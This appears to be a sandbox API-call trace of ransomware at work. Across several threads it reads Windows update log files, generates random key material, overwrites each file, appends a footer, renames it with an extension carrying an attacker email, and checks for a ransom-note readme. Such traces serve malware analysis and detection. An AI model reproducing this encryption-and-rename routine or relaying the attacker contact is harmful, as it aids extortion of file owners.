	[0083.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e548) returned 1

Thread:
	id = 1146
	os_tid = 0x1e58

	[0083.612] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl")) returned 0x2020
	[0083.727] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", dwFileAttributes=0x20) returned 1
	[0083.727] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.728] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x283bf7cc | out: lpFileSize=0x283bf7cc*=12288) returned 1
	[0083.728] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.728] ReadFile (in: hFile=0x16f8, lpBuffer=0x283bf750, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x283bf74c, lpOverlapped=0x0 | out: lpBuffer=0x283bf750*, lpNumberOfBytesRead=0x283bf74c*=0x4, lpOverlapped=0x0) returned 1
	[0083.729] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.729] NtQuerySystemTime (in: CurrentTime=0x283bf72c | out: CurrentTime=0x283bf72c*=132251868104682473) returned 0x0
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x7491075
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xc0f49b6b
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xb64c7782
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x44dc1c2c
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x8a637fcc
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xe1c53f48
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x4eb09451
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x15022ad6
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x940af715
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x73dd5e7d
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x22d4410d
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x19039ce5
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x928bb5f8
	[0083.729] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x991a3126
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xc4287e96
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xdbf1c04d
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x1c73f337
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x83f157b4
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xe0435619
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xeee5fed
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x1aa53576
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x30a8dbc9
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xebafe935
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x4bfe8e92
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x1d0b4788
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x999642dc
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x80242821
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x41ba8a38
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0xf7cfc430
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x26fedae9
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x3062714d
	[0083.730] RtlRandom (in: Seed=0x283bf738 | out: Seed=0x283bf738) returned 0x133ac3c2
	[0083.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0083.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0083.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04108
	[0083.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0083.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.743] ReadFile (in: hFile=0x16f8, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x283bf728, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x283bf728*=0x3000, lpOverlapped=0x0) returned 1
	[0083.746] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.746] WriteFile (in: hFile=0x16f8, lpBuffer=0x5032038*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x283bf724, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesWritten=0x283bf724*=0x3000, lpOverlapped=0x0) returned 1
	[0083.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0083.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ed00
	[0083.751] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.751] WriteFile (in: hFile=0x16f8, lpBuffer=0x481ed00*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x283bf78c, lpOverlapped=0x0 | out: lpBuffer=0x481ed00*, lpNumberOfBytesWritten=0x283bf78c*=0x135, lpOverlapped=0x0) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4719530
	[0083.755] wcscpy (in: _Dest=0x4719530, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl"
	[0083.755] wcscat (in: _Dest=0x4719530, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.755] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x283bf744, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.755] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x283bf73c, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d970) returned 1
	[0083.756] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x283bf750, FileInformation=0x283bf728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x283bf750, FileInformation=0x283bf728) returned 0x0
	[0083.756] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x283bf750, FileInformation=0x283bf728, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.757] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.758] CloseHandle (hObject=0x16f8) returned 1
	[0083.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780df8
	[0083.759] wcscpy (in: _Dest=0x4780df8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.759] wcscat (in: _Dest=0x4780df8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.759] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780df8) returned 1
	[0083.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e788) returned 1

Thread:
	id = 1147
	os_tid = 0x1e5c

	[0083.612] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl")) returned 0x2020
	[0083.707] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", dwFileAttributes=0x20) returned 1
	[0083.710] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.712] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x2843fe14 | out: lpFileSize=0x2843fe14*=4096) returned 1
	[0083.712] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.712] ReadFile (in: hFile=0x16ec, lpBuffer=0x2843fd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2843fd94, lpOverlapped=0x0 | out: lpBuffer=0x2843fd98*, lpNumberOfBytesRead=0x2843fd94*=0x4, lpOverlapped=0x0) returned 1
	[0083.714] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.714] NtQuerySystemTime (in: CurrentTime=0x2843fd74 | out: CurrentTime=0x2843fd74*=132251868104525490) returned 0x0
	[0083.714] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x2426012b
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xa5a24b09
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x5256fc22
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x3d7a35d
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x651406d
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x8ab71695
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x6ef8109c
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xe6ee030b
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xe4dc0597
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xdcbde696
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x6556d775
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x91f57a02
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x438d800b
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x6fb05d50
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xe141469c
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xbc6b6edb
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xa72e9acf
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xba15a5d1
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x8a0de6f2
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xc26c5948
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x6a51bf63
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xbf13298
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x7f07e9f2
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x11194ed7
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xa8c71d43
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x553bce06
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x53ca10d8
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x741d3dbb
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x9f3162fb
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x4addb840
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0x9da597c5
	[0083.715] RtlRandom (in: Seed=0x2843fd80 | out: Seed=0x2843fd80) returned 0xe9b2d8ba
	[0083.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0083.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.724] ReadFile (in: hFile=0x16ec, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2843fd70, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x2843fd70*=0x1000, lpOverlapped=0x0) returned 1
	[0083.724] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.724] WriteFile (in: hFile=0x16ec, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2843fd6c, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x2843fd6c*=0x1000, lpOverlapped=0x0) returned 1
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f50
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x2d62e78
	[0083.744] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.744] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2843fdd4, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2843fdd4*=0x135, lpOverlapped=0x0) returned 1
	[0083.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4719530
	[0083.748] wcscpy (in: _Dest=0x4719530, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl"
	[0083.748] wcscat (in: _Dest=0x4719530, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.748] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2843fd8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767320
	[0083.748] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2843fd84, FileInformation=0x4767320, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0083.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.749] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x2843fd98, FileInformation=0x2843fd70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2843fd98, FileInformation=0x2843fd70) returned 0x0
	[0083.749] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2843fd98, FileInformation=0x2843fd70, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.750] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.752] CloseHandle (hObject=0x16ec) returned 1
	[0083.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.753] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.753] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476dfa8) returned 1

Thread:
	id = 1148
	os_tid = 0x1e60

	[0083.613] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl")) returned 0x2020
	[0084.112] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", dwFileAttributes=0x20) returned 1
	[0084.116] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1708
	[0084.116] GetFileSizeEx (in: hFile=0x1708, lpFileSize=0x284bfa84 | out: lpFileSize=0x284bfa84*=8192) returned 1
	[0084.116] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
